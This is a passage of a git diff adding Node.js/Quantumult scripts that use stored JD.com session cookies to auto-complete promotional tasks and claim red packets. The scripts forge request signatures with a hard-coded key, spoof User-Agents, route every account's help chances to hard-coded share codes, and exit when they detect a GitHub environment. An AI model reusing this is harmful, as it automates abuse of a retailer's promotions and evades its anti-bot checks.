{ + "Cookie": cookie, + 'accept': 'application/json, text/plain, */*', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'cache-control': 'no-cache', + "origin": "https://starsingle.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + 'dnt': '1', + 'pragma': 'no-cache', + 'referer': 'https://starsingle.m.jd.com/static/index.html', + 'timestamp': `${t}`, + 'sign': sign(null,`07035cabb557f096${t}`,`/guardianstar/${function_id}?t=${t}`), + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function taskPostUrl(body = "{}", functionId = 'doTask') { + let t = getTs() + let url = `https://starsingle.m.jd.com/guardianstar/${functionId}`; + return { + url, + body: `${body}&t=${t}`, + headers: { + "Cookie": cookie, + 'accept': 'application/json, text/plain, */*', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'cache-control': 'no-cache', + "origin": "https://starsingle.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + 'dnt': '1', + 'pragma': 'no-cache', + 'referer': 'https://starsingle.m.jd.com/static/index.html', + 'timestamp': `${t}`, + 'sign': sign(`${body}&t=${t}`,`07035cabb557f096${t}`,`/guardianstar/doTask`), + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_split.js b/activity/jd_split.js new file mode 100644 index 0000000..e8c02d6 --- /dev/null +++ b/activity/jd_split.js @@ -0,0 +1,312 @@ +/* +金榜年终奖 +脚本会给内置的码进行助力 +活动时间:2020-12-12日结束 +活动入口:京东APP首页右边浮动飘窗 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#金榜年终奖 +10 0 * * * jd_split.js, tag=年终奖, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_split.js,tag=年终奖 + +===============Surge================= +金榜年终奖 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_split.js + +============小火箭========= +金榜年终奖 = type=cron,script-path=jd_split.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('金榜年终奖'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +$.newShareCodes = [`P04z54XCjVUnIaW5nJcXCCyoR8C6p8txXBH`, 'P04z54XCjVUnIaW5m9cZ2T6jChKki0Hfndla5k', 'P04z54XCjVUnIaW5u2ak7ZCdan1BT0NlbBGZ1-rnMYj', 'P04z54XCjVUnIaW5m9cZ2ariXVJwI64DaVTNXQ']; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdSplit() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdSplit() { + await helpFriends(); + await jdsplit_getTaskDetail(); + await doTask(); + await showMsg(); +} +function showMsg() { + return new Promise(resolve => { + message += `任务已做完:具体奖品去发活动页面查看\n活动入口:京东APP首页右边浮动飘窗`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdsplit_collectScore(code,6,null); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 8) { + //看看商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(4000) + await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + await jdsplit_getLottery(item.taskId) + } else if(item.status!==4){ + await jdsplit_getLottery(item.taskId) + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 9) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(4000) + await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + await jdsplit_getLottery(item.taskId) + } else if(item.status!==4){ + await jdsplit_getLottery(item.taskId) + console.log(`${item.taskName}已做完`) + } + } + } +} + +//领取做完任务的奖励 +function jdsplit_collectScore(taskToken, taskId, itemId, actionType=0) { + return new Promise(resolve => { + let body = { "appId":"1EFRTwA","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } + $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.bizCode === 1){ + console.log(`任务领取成功`); + } + else if (data.data.bizCode === 0) { + if(data.data.result.taskType===6){ + console.log(`助力好友:${data.data.result.itemId}成功!`) + }else + console.log(`任务完成成功`); + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 抽奖 +function jdsplit_getLottery(taskId) { + return new Promise(resolve => { + let body = { "appId":"1EFRTwA","taskId":taskId} + $.post(taskPostUrl("splitHongbao_getLotteryResult", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`红包领取结果:${data.data.result.userAwardsCacheDto.redPacketVO.name}`); + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function jdsplit_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("splitHongbao_getHomeData", {"appId":"1EFRTwA","taskToken":""}, ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 6) { + console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 